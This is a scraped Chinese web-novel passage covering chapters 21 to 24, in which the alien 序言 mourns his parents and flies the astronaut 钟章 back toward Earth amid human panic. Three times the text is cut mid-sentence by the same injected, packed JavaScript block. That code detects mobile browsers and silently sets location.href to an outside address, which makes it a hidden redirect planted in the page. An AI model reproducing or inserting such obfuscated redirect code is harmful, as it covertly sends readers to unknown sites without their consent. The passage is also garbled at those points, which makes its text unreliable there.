“伊西多尔,你们怎么处理星球自转带来的寿命问题?” “不处理。” “伊西多尔,你坐在这里看了很久。”钟章脚都有些麻木了。可序言没有离开,他也不离开,执着坐在外星朋友身边,陪伴他一同注视着漆黑的宇宙。 序言让他先回去,钟章装作听不懂,傻乎乎笑着。 久而久之,序言也懒得管钟章了。 他坐在这扇落地玻璃舷窗前,什么话都不说,只是用那双偶尔闪烁着虹光的双瞳注视着宇宙和破碎的小行星带。 一个小时过去了,又一个小时过去了。 钟章脑袋开始一点点晃动,有些支撑不住地左右摇晃。时常,他身体已经前倾或后仰到六十度,脑袋忽得猛点下,神志短暂清醒过来,懵懵懂懂看着序言。 “伊西多尔。” “嗯。” “要不把这片小行星带也带走吧。” “不可以。” 这一片磁场特殊,很难开展工作。序言清楚自己在这里再停留一段时间,基因库等众多仇家会选择在这里围杀自己。 他可以死在任何地方,都不能死在戴遗苏亚这个特殊的地方。 “你要睡觉了。”序言看向钟章,催促道:“回去睡觉吧。” 钟章眯着眼看着他,大脑混混沌沌。 “伊西多尔。” “睡觉去。” “你是不是在难过?” “没有。” 钟章挠挠头,觉得不太对劲。他话痨,本来就没什么心眼子,现在更加藏不住话,“伊西多尔。你不要不开心。” 序言看着他一啄一啄的脑袋,无奈地笑笑,“没有不开心。” “我想在这里睡。”钟章伸出手,小小的拽了下序言的手指,“我们家,有一种树洞。树洞是绝对保密的,我可以做你的树洞。你有什么不开心的,都可以说给树洞。我睡着了,我绝对不会说。” 序言没听明白什么树洞不树洞的。 钟章屁股一歪,脑袋一歪,半个人轻轻地磕在序言肩膀上,陷入深沉的梦乡中。 他睡着了。 序言清晰地意识到这一点。 他用手拢了拢钟章散落的长发,属于另外一种生物的湿热气息轻点在他的指尖。 序言的手颤了颤。 真是脆弱又粘人的东方红族。序言腾出手,微微扶着钟章的腰。他虽然不理解对方怎么就那么喜欢自己,但总不能对喜欢自己的家伙太差吧。 这是序言的雌父教他的道理之一。 那个高高大大的黑皮雌虫会说很脏的粗话,会用脚丫子踢小序言的屁股,动不动提着他到处跑,粗鲁地叫小序言“脏蛋”。他非常坚持序言的雄父爱上了自己,至少他在序言面前总是笃定地说这样的话。 “如果他不爱老子,怎么会生着病还把你这小王八蛋孵出来呢?” 年幼的序言不理解,只是一味生气自己被叫小王八蛋。 “生个屁气。”雌父用脚踢他,骂骂咧咧捏他的屁股和脸,“认识几个破字了不起了?和你老子翘屁股!呵。”他又骂了一些年幼序言听不懂的黑话脏话,贱兮兮对幼年的序言炫耀今天睡到了他雄父,炫耀世界上怎么会有人不喜欢大奶,炫耀序言雄父生病只有自己陪着等等。 “总之,老子喜欢你和你雄父。”黑皮雌虫教育道:“你们必须喜欢老子。听到了没有,惹老子不高兴。老子拿把枪全部把你们突突了。” 没过多久,他就死了。 死于枪杀。 序言花费很长时间去接受这件事情,他知道雄父从没有给自己的雌父一点名分,为了他不背负“罪犯之子”的污点,也因为一些更复杂的原因。 可序言自己没有办法那么平静地接受。 他独自踏上寻找雌父尸骨的道路,在十岁找到他的出生之地,在十二岁找到雌父的埋骨之地,将雌父从诸多尸体中一点一点挑出来,举行了钻葬。 他将他的雌父烧制成一枚钻石。 一枚黑钻石。 就像这片宇宙一样,是没有尽头的令人感觉到安宁的忧郁的黑。 “雌父。” 在这片唯一可以怀念过去的废墟上,序言轻声交代说过无数次的事情,“雄父死了。” 他生命中最重要的双亲都不在了。 “夜明珠家也没有了。”序言道:“这里再也没有我的容身之处。” 肩膀上,钟章发出轻微的鼾声。 序言叹一口气。 他补充道:“这位是很脆弱的东方红族朋友。我感觉他比雄父还要弱一点。雌父。我去他的星球,至少不会被他们欺负——实在不行,我觉得你教我的炸厕所会很实用。他们这样脆弱的种族,总不会狂吃大便吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498025|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雌父曾经说,炸厕所哪里都好用,不吃大便的种族可以恶心他们,吃大便的种族会在开餐的一瞬间狂吃不停。 哈哈,这样就没有谁可以阻止他们跑路了。 简直是天才的想法! 序言从小就牢记这点,开启话题后,又忍不住和雌父碎碎念自己在复仇中炸多少个厕所,专门挑仇家按厕所吃屎等等。 “雌父,我的悬赏金已经比你高了。”序言炫耀道:“你快夸夸我。” 四周无声,只有钟章在打鼾。 序言只能又叹一口气,“雌父。” “你说得没错,我长得很像你。现在我也开始魅力四射了。” 还是不分物种的魅力四射。 序言小声嘀咕,“小时候,我还以为你在吹牛。” 肩膀上,钟章打了一个大大的哈欠,脑袋差点掉下去了,还是序言眼疾手快托了一把,单手公主抱住他。 钟章软趴趴倒在序言怀里,睡得昏天暗地,不分几点几分。 序言扫了眼钟章,没忍住又叹了一口气。 他向一望无际的星空,挥手道别,“雌父——再见。” 我长大了。 我也要和你当年和我说的那样,成为和你一样的成熟可靠、魅力四射的天才雌虫了。 序言抱起钟章,向前,折返回首看向那片星空。许久,他强迫自己慢慢地往后走,一步一回头,三步一回头。 最后,不回头。 * 钟章睡得嘎嘎香。 他感觉自己抱着一大坨细腻蓬松的被子,双手双脚完全环绕上去,又热又软,时不时翻身压上去还能感觉到丰富的弹性。 天啊撸,这是什么极品被子。 他要给自己爸妈姐哥妹弟全部买一套,再给七大姑八大姨全部推荐一下。成为宇航员后,钟章自觉买被子的钱还是有的,他不光要给亲戚们推荐被子,还要把自己家里、宿舍里全部换成这种被子。 哦。还有他亲爱的外星朋友,这个必须安排上。 钟章将脸埋在被子里,深吸一口气,乱七八糟开始蹭。他双手揉了揉,双脚夹一下,玩到身心舒畅,先打一个毫无顾忌的哈欠,蛄蛹两下,缓缓睁开眼,看到了序言凌乱的胸前衣物。 “你醒了?”序言温和地问道,“睡得还好吗?” 钟章:…… 钟章:? 现在说自己是日本人不给祖国丢人还来得及吗? “对不起!”钟章火速从序言身上滚下来,一个滑跪磕头致歉,声音洪亮,“我是个禽兽,对不起!” 序言道:“你不是坏鸟。” 钟章顿时泪流满面,他是坏鸟他是坏鸟,要是再晚一点他估计是真的坏鸟。 “我是坏鸟。我是坏鸟。”钟章毫无脸面和尊严地祈求朋友原谅,“对不起。我真的没有意识到,我还以为——” 等等?他为什么会在序言怀里睡着? 序言道:“马上就到。你要收拾一下吗?” 啊?什么到了?什么马上就到了,我们不是还在那个小行星带看太空群星吗? 钟章茫然看向窗外。 一个陌生又熟悉的巨大行星就在不远处,它通体呈现白褐色,大量云团在星球表面云集形成可怖的团状块。透过那些大面积的云层,巨大的炭黑色裂纹逐渐显示出来,无数深橙色从裂纹中弥漫出来,最终融入白色。 这,就是已经被太阳系除名的前第九大行星。 冥王星。 22.第二十二章 第二十二章 钟章出生时,冥王星已经被开除出太阳系。 曾经的九大行星说法早就不流行,百科全书上都以八大行星介绍整个太阳系,对这颗庞大的矮行星只在犄角旮旯处提一嘴。 但钟章好歹是接受过专业培训的宇航员,他上班训练就是为了有一天执行地外探索任务。而曾经的太阳系边境,如今被确认为柯伊伯带的矮行星,在诸多老一辈航天爱好者中堪称为“行星边境线”。 钟章不可能不认识冥王星。 他因此张大嘴巴,不敢置信地看着面前这一幕,快速狗爬过去,整张脸贴在玻璃上,看看冥王星,看看序言,再看看冥王星。 “我们到柯伊伯带了?” “不知道。” 钟章的心还没有完全放下,序言道:“听说,前面是你们的大海的国王的星星。” 钟章:? 大海的国王的星星……这个,是在指海王星?钟章猛地眯起眼,果然,他的肉眼只能看到一个狭小的蓝色圆点,根本无法分辨出那是否是自己认知中的海王星。 不过,这对钟章的冲击已经足够了。 他结结巴巴道:“伊西多尔。你开。开星球这么快吗?” “嗯。” 钟章五体投地,真想要序言别嗯了,说点什么来解释一下啊。一觉之前,他还在外星世界啊,怎么会这么快回家?不是说30%的存活率吗?就这? 钟章都做好九死一生,英雄般的回归。 序言却轻描淡写,仿若从送小孩上学一样平淡地完成这件事情。他看着在地上狗爬的钟章,温柔地提醒道:“地上冷。” “伊西多尔,我的心情好复杂。”钟章捂着胸口,躺在地上,也说不明白是喜悦还是恐惧——序言单枪匹马都可以来到地球,那是不是意味着外星文明可以从那个什么戴遗苏亚小行星带直接攻略地球? 哇,他不会成为球奸了吧。 这可是要遗臭万年的。 序言从座位上起来,伸出手等钟章自己伸出手握住他后,才将钟章从地上拽起来。 他问道:“你们这里的星星真多。” “这里是柯伊伯带嘛。”钟章挠挠头,这个时候倒是想起自己某些探索任务,“伊西多尔,我带你认识一下我们这里的星球。” 和普通人认知的太阳系仅有八大行星不同,真正的太阳系与宇宙边界充斥着复杂的行星环境与行星带。多年来,天文学家们通过观测与测算探索太阳系内可观察到的诸多行星。 例如,太阳系的尽头“柯伊伯带”和“柯伊伯带天体”。 “这里受海王星的引力比较多,像我们看到的那颗大白色星,冥王星有时候就会从海王星的运行轨道上穿过。不过因为引力作用,他们是不会撞在一起的。” 序言没听明白,不过他听懂“撞”这个字。 他直接问钟章,“哪一颗能撞?” 钟章:? “是我们刚刚过去那个白色?还是你说的那个海洋的国王的星球?”序言认真道:“ 你不是担心停下来的问题吗?撞一个缓冲就可以。” 钟章眨巴眨巴眼睛,确认自己没有听错内容。 序言问他,要撞海王星还是冥王星吗? 这对吗? “不可以!哪一颗都不能撞。”钟章舌头都快打结了,他又想要解释,又怕自己说了什么奇怪的东西,让局面变得不可收拾,“就是,那些星球都有人。对,我以后上班,还要去上面工作。不可以撞。” 作为地外探索的宇航员,他的工作内容确实是跑这些星球上挖土拍照片。 对此,序言非常惊讶。 他问道:“你要工作?” 钟章一拍脑袋,“当然啊。我们全家都要工作。” 序言表情严肃起来了。 他对钟章家的经济状态有了全新的认知,足足14亿口难道全部都要工作吗?那这个经济状态感觉很不妙啊。 从来不缺钱的序言第一次担心自己买东西会不会有麻烦。 他很清楚自己的星球的优势和劣势。如果想要生活状态保持之前的水准,自己一个人能够顺利展开研究工作,少不了要在钟章家补充一点基础物资。 可钟章家所有人都要工作的话,岂不是整个家族才刚刚能吃饱?会不会他们自己家的事情都没有办法处理好?兄弟长辈之间还有数不清的财务问题? 这怎么拿得出足够的物资和自己交换呢? 想明白这些内容,序言长长地叹一口气,“我还以为你出来玩,被卷进去的。” “我是工作。” “嗯。”序言安慰有些炸毛的东方红族,“我没有工作过。” 钟章觉得他们之间的语言障碍还是有点严重。不过为了强调海王星、冥王星不能炸,他还是非常严肃表达那些星球与自己的工作有直接关系。 “如果磅——炸了它们。我就没有工作。”钟章掰着手指,一点一点给序言分析逻辑关系,“我没有工作,就没有房子,就会饿肚子。” 序言看向钟章的眼神更加怜悯了。 不过介于这是东方红族的传统工作,看上去还是一种基础保障工作,序言当即表示自己绝对不会炸海王星和冥王星。 “那就要多花点时间找停车位了。”序言笨拙地组织语言,“钟章,你家在哪里?” 他想把自己的星球停到钟章家附近。 那么多星球,每次飞来飞去还挺浪费时间的。序言不喜欢在一些无用的地方浪费时间。他在夜明珠家掌握管家权时也倾向于一次性把事情全部搞定。 “我们家?哦哦哦,我指给你看。”钟章想着,在序言投影出来的一张老行星教科图上指出地球的位置,“这是我家。旁边这个小小的星球,是月球。是我们家的卫星。” 序言知道了。 他会小心停车的,绝对不会撞飞月球。 毕竟,从体积上看,他的星球比钟章家还要稍微大一圈。序言已经调动所有数据算法,计算出星球行驶的最佳轨道和最佳滑行速度。 可是,中间万一出现了点意外,比如撞碎那个很大的气态行星的颗卫星中的一颗。 序言又是叹气。 搬家好麻烦,可是他的星球上不光有他研究经常用到的矿石材料,还有一个雄父投资为他搬来的全自动军工厂,两条随时可以改装并投入生产的技术流水线。 序言真的很舍不得自己的星球。 “我会小心心的。”他对钟章承诺道:“一些很小小的星星,我就没有办法了。” * 地球。 星空联合观测组织正在为太空垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508410|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圾问题争吵不休。 正如每年都有科学家向大家科普“小行星撞击地球”的危害,太空垃圾实际上也是一个“对现在”无用的问题。 不过,也如同“小行星撞击地球”这个离谱的危险一样,“太空垃圾”近一周忽然以某种极高的频率出现在天文学家们口中,每个人都步履匆匆,好像慢一步就少一块纸板可以抢一样。 “我认为使用地球的太空武器打击太空垃圾是个不错的选择。”某国科学家缓缓开口,“正好起到一点威慑作用。” “威慑什么?”反对者强烈抗议道:“目前的太空武器都处于研发阶段。人类还没有做好在太空打仗的准备。” “难道要让主战场发生在地球吗?” 没错。 这不过是借着“太空垃圾”话题讨论如何对抗“可能攻打地球的外星舰队”。多国天文学家被聚集在此处,每天算各种数据,观测地外环境。数个航天大国在他们的联合建议下,已经考虑在火星、木星投放警报器等可用于放哨的太空设备。 “人类可没有太空舰队。”反对者举例道:“就拿太空远航能力来说,‘烛龙系列’已经是全球范围内最先进的太空远航产品了。可自从钟章宇航员失踪后,所有‘烛龙’系列远航机都返厂检修。现在想要再拿出性能可比肩‘烛龙’的机体,几乎是不可能的!” “可是让主战场落在地球上,战争基本就输了一半。” 坐在主席位上的天文学家玛丽面色凝重,却没有马上下结论。她先环顾下面吵得面红耳赤的诸位,简单各打两板子,将其分开,发布任务,“我们不是政府机构,我们只有建议权,没有决策权。” 她的声音提高一些,“各位!如果人类真的到了与外星文明决一死战的地步,我们唯一能做的就是提前发现他们,观测他们,尽可能搜索相关的信息。” 场面逐渐安静下来。 隐约能听到隔壁语言学家们不断播放那段外星音频的声音。 “好了。”玛丽轻声说道:“各位请去工作吧。为了人类文明。” 夜晚,才是他们的主场。 随着天光逐渐黯淡,被太阳光辉掩盖住的群星们一一显现出自己的真身。天文爱好者们攀上高山,与天文学家们在不同地点仰望同一片星空。他们手中有廉价的商用望远镜,有价值不菲的太空望远镜,有举一国之力建立的大型望远镜的操控器。 他们共同关注着星星、太空、地球和人类未能探索的另外一个世界。 “听说钟章老家要给他举办悼念仪式。你去吗?”一位天文爱好者放下望远镜,眨眼醒神和旁边人搭话,“唉。才那么年轻。” 旁边十数人没有一位搭理他。 所有人都绷紧脸,嘴角向下,以一种极为惊恐的姿态盯着夜空。在他们所能看到的视野中,一颗赤红色的星球正不断变大,变大,变到他们足以看清那颗通体赤土的星球上吸附着无数比他更小更轻的小行星体。 它们就像是融入水中的泡沫,极快地破碎、融化、成为那颗古怪的赤色星球的地表装饰品。 而它、它们正以一种不容小觑的速度直直冲向地球! 那一天。 人类又想起了小行星撞击地球的战绩。 不过这次,地球上要面临这一切的不是恐龙,而是人类自己。 23.第二十三章 第二十三章 人类乱作一团。 虽然东西南北各个国家力量都迅速下场,把控舆论。可耐不住当时天气晴朗,星空一望无际,相当一部分天文爱好者、天文摄影师都拍摄到那颗不断捕捉其他太空悬浮物的红色行星。 恐慌像传染病一样快速在人群中扩散开来。 末日言论迅速占据上风,无数合法的不合法的宗教活动如雨后春笋展开,人们的金钱投入到祈求上帝的活动中。大量暴徒开始无差别攻击商店,他们打破橱窗,穿戴奢侈品享用美食。防爆警察开始没日没夜地在街上巡逻,部分国家紧急宣布全国进入宵禁模式。 一颗古怪的小行星正直直的冲着地球撞过来。 人类就算知道这件事情后,又能做什么呢? “我提议启动‘人类火种’计划。”联合国会议上再次出现奇怪的言论,“全力抵抗外星文明的同时,我们也要给自己留下后路。我们需要选拔出全人类最优秀的基因,让他们乘坐宇宙飞船随时准备出逃。” 会议上数百位国家代表不约而同发出躁动的声音。 他们来自不同发展程度的国家,有白皮肤、黄皮肤、褐皮肤、黑皮肤,他们中有的已经成为发达国家,有的还在发展中,有的还挣扎在贫困线上,有的还在战争中不知道国家下一秒是否会存在。 ——人类火种计划。 谁能代表人类文明的火种呢?你要如何在全球选拔出一群人?他们将又来自什么地区?讲什么语言?继承什么文化?学习过什么知识? 谁也不知道。 但这一计划无疑是煽动的、令人感觉到不安的。 “人类火种……离开地球的火种要在哪里继续延续地球文明呢?”东方的席位上传来声音,“地外探索计划执行也有几年,目前人类连最有可能落脚的火星和谷神星都没能探索,难道还要奢望一个不知道是否适合人类生存的太阳系外星球吗?” “那我们要怎么做?核弹爆破那颗小行星吗?”反对者成列出数据,可见他们提出“人类火种计划”之前,已做足了背调,“那是一颗持续向前移动的星球,24小时前我们对他的判断还是一颗类地行星。但现在,他不断吸纳太空中的尘埃与小行星,他的体积已经逼近海王星这类气态行星。” 反对者的声音逐渐高亢,最后失控,“我们还观测到他背后有一颗卫星!一颗和月球差不多的卫星!你们知道这意味着即将撞在地球上的是什么吗?按照这个算法持续下去,我们要面对的是木星带着木卫一撞到地球上。” 如此看来,为了人类的未来,确实应该筛选出真正优秀的人才执行“火种计划”。 可是,不患寡患不均。 选择谁?每个国家的人员配比都是严肃的问题——现在的人类一旦将重心偏移到火种计划上,群众心中的恐慌会进一步扩大,到时候别说抵抗外星文明了,整个人类文明必定从内部开始崩溃。 “我们坚决反对‘火种计划’。”代表团集体站立离席,“望各位慎重。” 随着东方的席位空缺,来自各地的代表稀稀拉拉地站起来,用这种无声的行动发出他们自己的声音。 “钟章的悼念仪式准备得怎么样了?”走在最前面的团队里有人打电话叮嘱道:“国际上不能宣传,但是我们自己内部一定要给我们的宇航员、宇航员家属、全国人民一个态度。” 不允许任何污水泼在牺牲的宇航员头上。 “同时,紧密关注太空信号。” 国内所有与太空相关的项目都被调动起来,和外界关注稍不同。他们的任务中还兼有一项特殊的任务:搜集信号音频中任何与钟章声纹相似的内容,并进行匹配。 万一,百万分之一的概率里。 钟章真的活着。 他们将采取备用方案中最有可能把钟章带回来的一种。 * 整体来说,祖国妈妈对自己的思想道德教育还是比较有信心的。 钟章虽然没有成为他们内部保密机构的专属宇航员,而是送出去成为国际宇航员,但也是他们自己家的孩子—— 十二年义务教育,高考,大学本科的思政课,考研政治、入岗背调等等加在一起,当时的选拔人员敢拍着胸脯保证钟章的道德水准。 但缺心眼这种事情,实在算不到道德瑕疵上。 “伊西多尔。”钟章双手比心,热烈夸奖道:“天啊。我们一路走来,还打扫了卫生。这也太棒了吧。” 看看这个干净的太空环境。 看看这个整洁的飞行轨道。 看看前面那颗赏心悦目的小蓝球。 钟章觉得之后的同行必须感谢自己:要是没有自己,哪里来这么安全的太空环境?要是没有自己,他们多少也要冒着被铁棍扎穿胸口的经历。 “伊西多尔。”钟章一想到自己做了捡垃圾保护环境的的好事,嘴巴都甜蜜蜜起来,“那些坏仇家会不会从我们的路上过来。” 序言道:“不会。” 钟章还想要多问。 序言继续说道:“我放了炸弹,时间一响,就砰!炸掉了。” “原来如——?”什么东西忽然出现在我们的对话中了?炸什么?炸掉虫洞?炸掉太空隧道? 这好像不是什么可以随便炸的东西吧。 钟章已经大致知道有些高科技、高概念的词汇是翻译不出来的。因此,他果断开始自己的哑剧表演。 他先用双手画出一个长长的通道,再辅助拟声词“磅磅磅”夸张地炸掉它们,然后问序言,“没有问题吗?” 序言看懂了。 这是在表演炸毁来时路。 他露出一段很愉悦的笑容,“没问题。” 钟章琢磨序言的表情,觉得这确实是没有问题的笑容,心里一松就把这件事情过去了。 他又开始快活地问东问西,得知这样慢吞吞回地球虽花费点时间但重在安全,心情更愉快了。 “伊西多尔。伊西多尔。你是世界上最好的伊西多尔。” 钟章围着序言转圈圈,行为幼稚但他真的非常开心。 他一开心,嘴巴就开始放闸,“等回家,我带你去吃最正宗的刀削面。就是你之前给我吃的。我带你看看我们商场里的机甲。虽然没有你们厉害,但真的很有趣。我们还有很多关于机甲的片子。” 嗯。没错。 关于机甲的电影和动画数不胜数,还有那么多的机甲模型,到时候去找祖国妈妈办一个胶佬大会,让序言看看我们地球上很有特色小机甲。 什么不好意思? 有什么不好意思的?说不定序言看到他们漂亮的小玩意,也想做一个展示柜呢?钟章自己都乐意掏钱给序言仓库里那些大东西做一套模型,更别提地球上那些胶佬、军事爱好者、科研爱好者了。 机甲模型,送给序言装饰房间简直是太搭了! 而他不提起机甲,序言差点都忘记了还有事情要和钟章交代。年轻的雌虫看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512326|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着面前蹦蹦跳跳的东方红族,提醒道:“你要再开那个长长的机甲吗?” 经过改造的烛龙舱可以变形为蛇形机甲。 钟章看过温先生系统操控一次后,激动地问序言能不能往蛇形机甲脑袋上加两个角。 “我装了。”现在,序言告知钟章,“你开吗?” “开!”都当宇航员了,怎么能不开机甲试试看?钟章四肢快乐地撒欢,差点要摔在地上,不过为了彰显自己完全可以独立驾驶机甲,每次都摔在地上,他都弹射起步,把自己校正回人形。 看上去非常魔性。 序言就这样以一种难以言喻的目光目送钟章离开。 他不理解,自己帮忙改装下机甲就这么让钟章开心吗?他不觉得那机甲很难或者很高级。按照钟章刚刚那么长一段邀请自己看机甲的话,序言也不觉得东方红家缺这么一两个机甲。 ——难道是因为自己亲手改装的,钟章才这么开心吗? “噗。”序言没忍住,笑出声。 他的魅力还是太大了吗?不过这也有点太大了吧。难道自己真的长得很符合东方红的审美吗? 序言低头看了眼自己的胸口,又笑了一下。 【序言。】智能系统温先生适当地钻出来,以投影模式漂浮在序言身边,【让东方红先生自己去真的没有关系吗?】 “他都这么大了。”序言信心满满地说道:“又不是果泥。” 谈起小果泥,温先生忍不住多说几句话,【果泥已经看了好几天的幼崽教科片。真的不能把他放出来玩吗?】 序言:“等到钟章家,我带他去玩。” 智能系统运转了一下,被序言说服了。他绕着序言打转,像形象生前那般,牵着他的手亲密地询问身体如何,最近开心不开心之类的话。 序言明知道这是程序设计好的内容,也很开心地聊着天。 “我把收发信号台又装了一台在闹钟的机甲里。”序言想了想,没记起钟章的名字怎么念。 不过无所谓啦。 钟章也没叫对过一次自己的名字。 他继续和智能系统分享自己的小巧思,“闹钟只要和家里联系上。他的长辈会告诉他怎么用的。我这次做成实况聊天,两边都在频道里,就可以一直说话。不需要特别去发射了。” 【真是太棒了。】温先生捧场的说道:【东方红先生一定很开心可以和家里人联系上。】 序言盯着温先生的影像,微笑回答道:“嗯。” 钟章一定会很高兴的。 * 钟章岂止是高兴。 他简直高兴疯了。 刚上线,他就一通乱按,好不容易连接到智能系统温先生帮忙,又一顿乱按,吱哩哇呜乱叫好久。 等温先生用提示标签告诉钟章可以和家里人联系时,钟章已跌跌撞撞开机甲到太空,对准一块太空垃圾,发出兴奋到变形的笑声。 “桀桀桀桀桀桀哈哈哈哈这就是拥有力量的感觉吗?太爽了桀桀桀,开炮——哦哦哦爽死我了。哈哈嘎嘎阿嘎嘎。桀桀桀,谁也不能阻止我,向我开炮——桀桀桀爽飞了。” 地球上。 联合国一众代表听着耳麦里的实况怪叫,心哇凉哇凉一大半。 这是什么经典的反派笑声啊? 他们齐刷刷看向东方某一席位上的众人。那里所有人依旧西装革履,眼神却有些闪躲了。 不会吧,我们家宇航员真的成球奸了? 24.第二十四章 第二十四章 祖国妈妈丢脸的时候,她的好大儿钟章开炮开个爽。 人就是这样,你越不让他做什么,他越想去做什么。 生于这个禁枪的时代,钟章及他大部分男女同学都想体验下热武器的魅力。可惜类似想法的小孩实在是太多了,导致学生时代军训摸摸枪都要走关系。本科时期,钟章还考虑攒钱去北方友国家体验打靶,后因工地实习太累作罢。 现在不一样了。 他,钟章,直接开炮! 【东方红先生,您的家人已经……】 钟章举起手示意,“我再打一炮,再打一炮就结束。” 然而一上头,之前说的话就和狗屁一样。钟章发现序言安装上的炮弹形似“空气压缩炮”后,更肆无忌惮炮轰太空垃圾。 序言不理解钟章为什么喜欢打扫太空垃圾。 不过在他们世界这种空气压缩炮攻击力也就这样。很多家长都会给孩子申请这种炮,再把他们塞到社区街道去打扫卫生。 “他喜欢就让他打扫卫生吧。”序言对智能系统温先生说道:“他家应该有人会告诉他可以联系。” 实际上。 联合国一众人大气都不敢出,数百个国家代表听着钟章在频道里哒哒哒哒啪啪啪,颇有种进入和平精英匹配大厅的错觉。 没有人发出一点声音,生怕下一秒就成为全地球的罪人。 不知道过了多久,频道安静下来,只能听到引擎发动、门轻轻关上的声音。 频道另一头的人离开了。 * “伊西多尔。”钟章满足地跑来跑去,自从确定要回家,他就快乐到起飞。而序言每每看到那一头跑得乱糟糟的长发,都忍不住伸出手从上到下顺一遍。 钟章也不抗拒。他最多感觉有些不好意思,在序言搞好的地方装饰性扒拉两下,露出上下两板大白牙,浑身上下都冒泡泡,“伊西多尔。” “嗯。” “你太好了。” 序言抬起眼,果然和钟章眯起来的笑眼对在一起。他没忍住,被感染地笑出声,“这么喜欢我?” “对啊对啊。”钟章直抒胸臆。反正太正经的词,翻译器翻译不过来,他还不如用最直白的语言说想说的话,“我超级喜欢你。” 序言没多想,投桃报李道:“我也喜欢你。” 说完,两个都没忍住笑出声。 “你真好。”钟章比一个心,又开始漫天许诺,“伊西多尔,我们家一定会很欢迎你的。不过我要等家里人给我消息。你要等一下我哦。” 翻译器的词汇有限,这让他们两的对话时常有种幼儿园小朋友的感觉。 序言道:“嗯。我等你。” “我家在海边。大大的海。”钟章做一个夸张的手势,“到时候我带你去钓鱼。” 序言觉得没有必要那么麻烦。 他们完全可以直接降落在大海上,无论是操控自己现在乘坐的飞船、机甲,又或者从星球里直接分裂出一个小陨石下去,都是可以的。 “你觉得哪一种比较好?”序言拿着自己想好的三个方案咨询钟章的想法。 然后,他就看到钟章僵住的表情。 “怎么了?”序言问道:“主要是担心你们的大海太危险。所以,我想,直接砸下去,可以造一个岛。” 我们的大海危险? 钟章思考半秒钟,从白鲸、蓝鲸、北极熊、翻车鱼到潜水员、小丑鱼、珊瑚礁、钓鱼佬……思来想去,他觉得大海里最危险的东西应该是即将降落到地球的他们两。 “不用不用。”钟章赶快劝说道:“我开好不好。我来开。” 序言:“你开陨石,可以呀。” “不是不是。是烛龙。”钟章抹脸擦汗,劝说道:“我第一次开那么好的机甲,我想回家炫耀一下……总之,伊西多尔。真的没必要造一个岛。” 序言理解。 他雄父也不太喜欢生造人工岛。不过他认识很多开荒团成员,他们都热衷直接算地点,然后在某些星球上砸几个落脚点出来再往上面造房子。 可以说,技术非常成熟了,最多引发一些小海啸。 钟章家只要有个好一点的防护罩,就可以抵御这种中小型海啸了。序言想到此处,忽然顿悟了:钟章家条件可能不太好。 所以,他不一定买得起能抵抗中小型海啸的保护罩。 唉……东方红族也太奇怪了。 他们身体那么脆弱,都不研究点实用的科技吗?例如房屋保护罩什么的。要说他们没有到那个科技水平? 拜托,序言觉得一个能够发展出宇宙飞船,能够进行太空旅行,还能改造卫星拿来停车的文明,不至于连这都做不到吧。 理顺关系,序言看钟章的眼神更怜爱了。 序言对钟章道:“我再送你点东西吧。” 东方红族也太穷太脆弱太可怜了吧。序言心有不忍的想着:闹钟还那么喜欢自己,万一死了怎么办。 “啊?”钟章一愣,随后坦然接受,“真的吗?” 我的魅力这么大吗?钟章没忍住,又在心里赞美一下自己:都不需要什么邪门歪道,真诚待人的自己果然是最帅的。序言他一定超级喜欢我! 美人计,大获全胜! 祖国妈妈请给我发一个帅炸裂的奖杯好吗? * 祖国妈妈想把天上飞的钟章线下快打一遍。 怎么回事?你这孩子怎么回事?我们送出去的宇航员名声都给你败坏了! 如果说声纹没有对上之前,还有一丝挣扎的希望,现在对上了,东方席位上所有人都被迫直面全球的压力。 “还没有直接证据可以证明我们的宇航员是叛徒。”带头人稳定声线,据理力争,“目前只能听到他在……” 在太空吱吱哇哇猴子一样的怪笑,到处放炮。 好丢脸,又好可怕。 有一种孩子疯掉的可怜可恨的错觉。 “……我国会肩负起相对应的责任。”至于这个责任细节到底是什么?那要等我们内部先讨论一下。带头的人没有把话说死,只是快速退场,带着整个代表团一路小跑,跨过诸多镜头,钻入专属会议室。 “快!!快打给国内。” 代表团迅速行动起来,每一个人都联络相对应的部门,一条一条信息汇总到整个国家的心脏、大脑、四肢内。 大脑在思考。 心脏在活动。 四肢死死按住任何想要破坏的外部势力。 最终,他们等待到两条明确的指令。 【宇航员钟章的悼念活动继续举办。】 【活动地点仅保留东海太空基地、宇航员钟章故乡两处。】 * 太空上。 钟章还在畅享自己回到地球的美好生活,已经开上新机甲、换上更高级项圈的他怎么不能算衣锦还乡呢? ——当然,他最开始肯定是不愿意套项圈的。 但序言说,给他的不是宠物用,而是加大版的幼崽版项圈,钟章心里就好受点了,接受程度也高了不少。 28岁的他,怎么不能算一个三百个月的人类幼崽呢? 